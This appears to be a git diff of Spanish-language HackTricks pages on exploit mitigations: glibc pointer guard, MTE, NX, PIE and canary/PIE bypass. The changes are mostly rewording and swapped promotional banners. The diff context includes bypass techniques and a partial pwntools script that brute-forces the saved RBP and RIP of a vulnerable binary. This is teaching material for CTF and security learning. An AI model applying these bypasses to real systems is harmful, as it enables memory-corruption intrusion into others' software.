Puedes encontrar una implementación de este algoritmo aquí: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
|
||||
## Protección de Punteros
|
||||
|
||||
Pointer guard es una técnica de mitigación de exploits utilizada en glibc para proteger los punteros de funciones almacenados, especialmente aquellos registrados por llamadas de biblioteca como `atexit()`. Esta protección implica mezclar los punteros mediante XOR con un secreto almacenado en los datos del hilo (`fs:0x30`) y aplicar una rotación de bits. Este mecanismo tiene como objetivo evitar que los atacantes secuestren el flujo de control sobrescribiendo punteros de funciones.
|
||||
Pointer guard es una técnica de mitigación de exploits utilizada en glibc para proteger los punteros de funciones almacenados, especialmente aquellos registrados por llamadas de biblioteca como `atexit()`. Esta protección implica mezclar los punteros mediante XOR con un secreto almacenado en los datos del hilo (`fs:0x30`) y aplicando una rotación de bits. Este mecanismo tiene como objetivo evitar que los atacantes secuestren el flujo de control sobrescribiendo punteros de funciones.
|
||||
|
||||
### **Burlando Pointer Guard con una fuga**
|
||||
|
||||
|
@ -85,7 +86,7 @@ Pointer guard es una técnica de mitigación de exploits utilizada en glibc para
|
|||
3. **Explotando Textos Planos Conocidos:**
|
||||
* **Identificando Punteros de Funciones Fijos:** Al examinar el código fuente de glibc o tablas de punteros de funciones inicializadas (como `__libc_pthread_functions`), un atacante puede encontrar punteros de funciones predecibles.
|
||||
* **Calculando el Secreto:** Utilizando un puntero de función conocido como `__pthread_attr_destroy` y su versión mezclada de la tabla de punteros de funciones, el secreto se puede calcular mediante una rotación inversa (rotación a la derecha) del puntero mezclado y luego XOR con la dirección de la función.
|
||||
4. **Textos Planos Alternativos:** El atacante también puede experimentar con la mezcla de punteros con valores conocidos como 0 o -1 para ver si estos producen patrones identificables en la memoria, potencialmente revelando el secreto cuando se encuentran estos patrones en volcados de memoria.
|
||||
4. **Textos Planos Alternativos:** El atacante también puede experimentar con la mezcla de punteros con valores conocidos como 0 o -1 para ver si estos producen patrones identificables en la memoria, revelando potencialmente el secreto cuando se encuentran estos patrones en volcados de memoria.
|
||||
5. **Aplicación Práctica:** Después de calcular el secreto, un atacante puede manipular punteros de manera controlada, esencialmente burlando la protección de Pointer Guard en una aplicación multiproceso con conocimiento de la dirección base de libc y la capacidad de leer ubicaciones de memoria arbitrarias.
|
||||
|
||||
## Referencias
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Extensión de Etiquetado de Memoria (MTE)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
|
@ -20,7 +21,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
### **Cómo Funciona la Extensión de Etiquetado de Memoria**
|
||||
|
||||
MTE opera mediante **la división de la memoria en bloques pequeños de tamaño fijo, con cada bloque asignado una etiqueta**, típicamente de unos pocos bits de tamaño. 
|
||||
MTE opera mediante **la división de la memoria en bloques pequeños de tamaño fijo, con cada bloque asignado una etiqueta,** típicamente de unos pocos bits de tamaño. 
|
||||
|
||||
Cuando se crea un puntero para apuntar a esa memoria, obtiene la misma etiqueta. Esta etiqueta se almacena en los **bits no utilizados de un puntero de memoria**, vinculando efectivamente el puntero a su bloque de memoria correspondiente.
|
||||
|
||||
|
@ -28,7 +29,7 @@ Cuando se crea un puntero para apuntar a esa memoria, obtiene la misma etiqueta.
|
|||
|
||||
Cuando un programa accede a la memoria a través de un puntero, el hardware MTE verifica que la **etiqueta del puntero coincida con la etiqueta del bloque de memoria**. Si las etiquetas **no coinciden**, indica un **acceso a memoria ilegal**.
|
||||
|
||||
### Etiquetas de Punteros MTE
|
||||
### Etiquetas de Puntero MTE
|
||||
|
||||
Las etiquetas dentro de un puntero se almacenan en 4 bits dentro del byte superior:
|
||||
|
||||
|
@ -67,9 +68,9 @@ La CPU verifica las etiquetas **asincrónicamente**, y cuando se encuentra una d
|
|||
## Ejemplos de Implementación y Detección
|
||||
|
||||
Llamado KASAN basado en etiquetas de hardware, KASAN basado en MTE o MTE en el kernel.\
|
||||
Los asignadores de memoria del kernel (como `kmalloc`) **llamarán a este módulo** que preparará la etiqueta a utilizar (aleatoriamente), la adjuntará al espacio de kernel asignado y al puntero devuelto.
|
||||
Los asignadores de memoria del kernel (como `kmalloc`) **llamarán a este módulo** que preparará la etiqueta a utilizar (aleatoriamente) para adjuntarla al espacio de kernel asignado y al puntero devuelto.
|
||||
|
||||
Ten en cuenta que solo marcará suficientes gránulos de memoria (16B cada uno) para el tamaño solicitado. Entonces, si el tamaño solicitado fue 35 y se dio un bloque de 60B, marcará los primeros 16\*3 = 48B con esta etiqueta y el **resto** se **marcará** con una llamada **etiqueta inválida (0xE)**.
|
||||
Ten en cuenta que solo marcará suficientes gránulos de memoria (16B cada uno) para el tamaño solicitado. Entonces, si el tamaño solicitado fue 35 y se dio un bloque de 60B, marcará los primeros 16\*3 = 48B con esta etiqueta y el **resto** se marcará con una llamada **etiqueta inválida (0xE)**.
|
||||
|
||||
La etiqueta **0xF** es el **puntero de coincidencia total**. Una memoria con este puntero permite que **se utilice cualquier etiqueta** para acceder a su memoria (sin discrepancias). Esto podría evitar que MTE detecte un ataque si esta etiqueta se está utilizando en la memoria atacada.
|
||||
|
||||
|
@ -81,7 +82,7 @@ Otro error ocurre en el **último gránulo** de la memoria asignada. Si la aplic
|
|||
|
||||
Cuando se ejecuta **`kfree()`**, la memoria se etiqueta nuevamente con la etiqueta de memoria inválida, por lo que en un **uso después de liberar**, cuando se accede nuevamente a la memoria, se detecta la **discrepancia**.
|
||||
|
||||
Sin embargo, en un uso después de liberar, si el mismo **bloque se vuelve a asignar con la MISMA etiqueta** que anteriormente, un atacante podrá utilizar este acceso y esto no se detectará (alrededor del 7% de probabilidad).
|
||||
Sin embargo, en un uso después de liberar, si el mismo **bloque se vuelve a asignar con la MISMA etiqueta** que antes, un atacante podrá utilizar este acceso y esto no se detectará (alrededor del 7% de probabilidad).
|
||||
|
||||
Además, solo **`slab` y `page_alloc`** utilizan memoria etiquetada, pero en el futuro esto también se utilizará en `vmalloc`, `stack` y `globals` (en el momento del video, estos aún pueden ser abusados).
|
||||
|
||||
|
@ -90,17 +91,3 @@ Cuando se detecta una **discrepancia**, el kernel entrará en **pánico** para e
|
|||
## Referencias
|
||||
|
||||
* [https://www.youtube.com/watch?v=UwMt0e\_dC\_Q](https://www.youtube.com/watch?v=UwMt0e\_dC\_Q)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**oficial mercancía de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# No-exec / NX
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ayuda a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
El bit de **No-Execute (NX)**, también conocido como **Execute Disable (XD)** en la terminología de Intel, es una característica de seguridad basada en hardware diseñada para **mitigar** los efectos de los ataques de **desbordamiento de búfer**. Cuando se implementa y se habilita, distingue entre regiones de memoria destinadas a código **ejecutable** y aquellas destinadas a **datos**, como la **pila** y el **heap**. La idea principal es prevenir que un atacante ejecute código malicioso a través de vulnerabilidades de desbordamiento de búfer colocando el código malicioso en la pila, por ejemplo, y dirigiendo el flujo de ejecución hacia él.
|
||||
El bit de **No Ejecución (NX)**, también conocido como **Execute Disable (XD)** en la terminología de Intel, es una característica de seguridad basada en hardware diseñada para **mitigar** los efectos de los ataques de **desbordamiento de búfer**. Cuando se implementa y se habilita, distingue entre regiones de memoria destinadas a código **ejecutable** y aquellas destinadas a **datos**, como la **pila** y el **montón**. La idea principal es evitar que un atacante ejecute código malicioso a través de vulnerabilidades de desbordamiento de búfer colocando el código malicioso en la pila, por ejemplo, y dirigiendo el flujo de ejecución hacia él.
|
||||
|
||||
## Bypasses
|
||||
|
||||
|
@ -25,16 +26,17 @@ El bit de **No-Execute (NX)**, también conocido como **Execute Disable (XD)** e
|
|||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
|
||||
* **Ret2...**
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ayuda a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
# PIE
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
Un binario compilado como PIE, o **Ejecutable Independiente de la Posición**, significa que el **programa puede cargarse en diferentes ubicaciones de memoria** cada vez que se ejecuta, evitando direcciones codificadas en duro.
|
||||
|
||||
El truco para explotar estos binarios radica en explotar las **direcciones relativas**—los desplazamientos entre partes del programa permanecen iguales incluso si las ubicaciones absolutas cambian. Para **burlar el PIE, solo necesitas filtrar una dirección**, típicamente desde el **stack** utilizando vulnerabilidades como ataques de cadena de formato. Una vez que tienes una dirección, puedes calcular otras por sus **desplazamientos fijos**.
|
||||
El truco para explotar estos binarios radica en explotar las **direcciones relativas**—los desplazamientos entre partes del programa permanecen iguales incluso si las ubicaciones absolutas cambian. Para **burlar el PIE, solo necesitas filtrar una dirección**, típicamente desde el **stack** utilizando vulnerabilidades como ataques de formato de cadena. Una vez que tienes una dirección, puedes calcular otras por sus **desplazamientos fijos**.
|
||||
|
||||
Una pista útil para explotar binarios PIE es que su **dirección base generalmente termina en 000** debido a que las páginas de memoria son las unidades de aleatorización, con un tamaño de 0x1000 bytes. Esta alineación puede ser una **verificación crítica si un exploit no está funcionando** como se espera, indicando si se ha identificado la dirección base correcta.\
|
||||
O puedes usar esto para tu exploit, si filtras que una dirección se encuentra en **`0x649e1024`** sabes que la **dirección base es `0x649e1000`** y desde allí simplemente puedes **calcular desplazamientos** de funciones y ubicaciones.
|
||||
Una pista útil para explotar binarios PIE es que su **dirección base típicamente termina en 000** debido a que las páginas de memoria son las unidades de aleatorización, con un tamaño de 0x1000 bytes. Este alineamiento puede ser una **verificación crítica si un exploit no está funcionando** como se espera, indicando si se ha identificado la dirección base correcta.\
|
||||
O puedes usar esto para tu exploit, si filtras que una dirección está ubicada en **`0x649e1024`** sabes que la **dirección base es `0x649e1000`** y desde allí simplemente puedes **calcular desplazamientos** de funciones y ubicaciones.
|
||||
|
||||
## Bypasses
|
||||
|
||||
Para burlar el PIE es necesario **filtrar alguna dirección del binario cargado**, hay algunas opciones para esto:
|
||||
Para burlar el PIE es necesario **filtrar alguna dirección del** binario cargado, hay algunas opciones para esto:
|
||||
|
||||
* **ASLR deshabilitado**: Si ASLR está deshabilitado, un binario compilado con PIE siempre **se cargará en la misma dirección**, por lo tanto, **el PIE será inútil** ya que las direcciones de los objetos siempre estarán en el mismo lugar.
|
||||
* Que te **den** la filtración (común en desafíos CTF fáciles, [**ver este ejemplo**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
|
@ -35,22 +36,23 @@ Para burlar el PIE es necesario **filtrar alguna dirección del binario cargado*
|
|||
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* Utiliza una vulnerabilidad de **lectura arbitraria** como [**cadena de formato**](../../format-strings/) para filtrar una dirección del binario (por ejemplo, desde el stack, como en la técnica anterior) para obtener la base del binario y usar desplazamientos desde allí. [**Encuentra un ejemplo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
* Utiliza una vulnerabilidad de **lectura arbitraria** como [**format string**](../../format-strings/) para filtrar una dirección del binario (por ejemplo, desde el stack, como en la técnica anterior) para obtener la base del binario y usar desplazamientos desde allí. [**Encuentra un ejemplo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,38 +1,39 @@
|
|||
# Direcciones de BF en la Pila
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**oficial mercancía de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Si te enfrentas a un binario protegido por un canary y PIE (Ejecutable Independiente de Posición) probablemente necesites encontrar una forma de evadirlos.**
|
||||
**Si te enfrentas a un binario protegido por un canary y PIE (Ejecutable Independiente de Posición), probablemente necesites encontrar una forma de evadirlos.**
|
||||
|
||||
![](<../../../.gitbook/assets/image (865).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Ten en cuenta que **`checksec`** puede que no encuentre que un binario está protegido por un canary si fue compilado estáticamente y no es capaz de identificar la función.\
|
||||
Sin embargo, puedes darte cuenta manualmente si encuentras que un valor se guarda en la pila al comienzo de una llamada a función y este valor se verifica antes de salir.
|
||||
Ten en cuenta que **`checksec`** puede que no detecte que un binario está protegido por un canary si fue compilado estáticamente y no es capaz de identificar la función.\
|
||||
Sin embargo, puedes darte cuenta manualmente si encuentras que se guarda un valor en la pila al comienzo de una llamada a función y este valor se verifica antes de salir.
|
||||
{% endhint %}
|
||||
|
||||
## Direcciones de Fuerza Bruta
|
||||
|
||||
Para **evadir el PIE** necesitas **filtrar alguna dirección**. Y si el binario no está filtrando ninguna dirección, lo mejor es **forzar la RBP y RIP guardados en la pila** en la función vulnerable.\
|
||||
Por ejemplo, si un binario está protegido usando tanto un **canary** como **PIE**, puedes comenzar a forzar por fuerza bruta el canary, luego los **siguientes** 8 Bytes (x64) serán la RBP guardada y los **siguientes** 8 Bytes serán el RIP guardado.
|
||||
Para **evadir el PIE** necesitas **filtrar alguna dirección**. Y si el binario no está filtrando ninguna dirección, lo mejor es **forzar el RBP y RIP guardados en la pila** en la función vulnerable.\
|
||||
Por ejemplo, si un binario está protegido usando tanto un **canary** como **PIE**, puedes comenzar a forzar el canary, luego los **siguientes** 8 Bytes (x64) serán el **RBP** guardado y los **siguientes** 8 Bytes serán el **RIP** guardado.
|
||||
|
||||
{% hint style="success" %}
|
||||
Se supone que la dirección de retorno dentro de la pila pertenece al código binario principal, lo cual, si la vulnerabilidad se encuentra en el código binario, suele ser el caso.
|
||||
{% endhint %}
|
||||
|
||||
Para forzar por fuerza bruta la RBP y el RIP desde el binario puedes darte cuenta de que un byte adivinado válido es correcto si el programa produce alguna salida o simplemente no se bloquea. La **misma función** que la proporcionada para forzar por fuerza bruta el canary se puede usar para forzar por fuerza bruta la RBP y el RIP:
|
||||
Para forzar el RBP y el RIP desde el binario puedes darte cuenta de que un byte adivinado válido es correcto si el programa muestra algo en la salida o simplemente no se bloquea. La **misma función** que se proporciona para forzar el canary se puede usar para forzar el RBP y el RIP:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -97,6 +98,6 @@ elf.address = RIP - (RIP & 0xfff)
|
|||
```
|
||||
## Mejoras
|
||||
|
||||
Según [**algunas observaciones de esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), es posible que al filtrar los valores de RBP y RIP, el servidor no se bloquee con algunos valores que no son los correctos y el script BF pensará que obtuvo los correctos. Esto se debe a que es posible que **algunas direcciones simplemente no lo rompan incluso si no son exactamente las correctas**.
|
||||
Según [**algunas observaciones de esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), es posible que al filtrar los valores de RBP y RIP, el servidor no se bloquee con algunos valores que no son los correctos y el script BF podría pensar que obtuvo los correctos. Esto se debe a que es posible que **algunas direcciones simplemente no lo rompan incluso si no son exactamente las correctas**.
|
||||
|
||||
Según esa publicación en el blog, se recomienda agregar un breve retraso entre las solicitudes al servidor.
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Relro
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
